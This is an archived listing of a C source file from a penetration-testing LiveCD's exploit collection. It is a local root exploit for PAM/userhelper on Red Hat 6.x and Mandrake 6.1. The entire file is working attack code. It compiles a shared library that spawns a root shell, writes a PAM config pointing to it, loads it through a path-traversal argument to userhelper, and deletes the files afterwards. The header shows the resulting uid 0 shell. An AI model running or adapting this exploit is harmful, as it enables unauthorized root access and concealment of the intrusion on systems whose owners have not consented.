home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / mandrake-pam.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  56 lines

  1. /*
  2.  * pam-mdk.c (C) 2000 Paulo Ribeiro
  3.  *
  4.  * DESCRIPTION:
  5.  * -----------
  6.  * Mandrake Linux 6.1 has the same problem as Red Hat Linux 6.x but its
  7.  * exploit (pamslam.sh) doesn't work on it (at least on my machine). So,
  8.  * I created this C program based on it which exploits PAM/userhelper
  9.  * and gives you UID 0.
  10.  *
  11.  * SYSTEMS TESTED:
  12.  * --------------
  13.  * Red Hat Linux 6.0, Red Hat Linux 6.1, Mandrake Linux 6.1.
  14.  *
  15.  * RESULTS:
  16.  * -------
  17.  * [prrar@linux prrar]$ id
  18.  * uid=501(prrar) gid=501(prrar) groups=501(prrar)
  19.  * [prrar@linux prrar]$ gcc pam-mdk.c -o pam-mdk
  20.  * [prrar@linux prrar]$ ./pam-mdk
  21.  * sh-2.03# id
  22.  * uid=0(root) gid=501(prrar) groups=501(prrar)
  23.  * sh-2.03#
  24.  */
  25.  
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <unistd.h>
  29.  
  30. int main(int argc, char *argv[])
  31. {
  32.         FILE *fp;
  33.  
  34.         strcpy(argv[0], "vi test.txt");
  35.  
  36.         fp = fopen("abc.c", "a");
  37.         fprintf(fp, "#include<stdlib.h>\n");
  38.         fprintf(fp, "#include<unistd.h>\n");
  39.         fprintf(fp, "#include<sys/types.h>\n");
  40.         fprintf(fp, "void _init(void) {\n");
  41.         fprintf(fp, "\tsetuid(geteuid());\n");
  42.         fprintf(fp, "\tsystem(\"/bin/sh\");\n");
  43.         fprintf(fp, "}");
  44.         fclose(fp);
  45.  
  46.         system("echo -e auth\trequired\t$PWD/abc.so > abc.conf");
  47.         system("chmod 755 abc.conf");
  48.         system("gcc -fPIC -o abc.o -c abc.c");
  49.         system("ld -shared -o abc.so abc.o");
  50.         system("chmod 755 abc.so");
  51.         system("/usr/sbin/userhelper -w ../../..$PWD/abc.conf");
  52.         system("rm -rf abc.*");
  53. }
  54.  
  55. /* pam-mdk.c: EOF */
  56.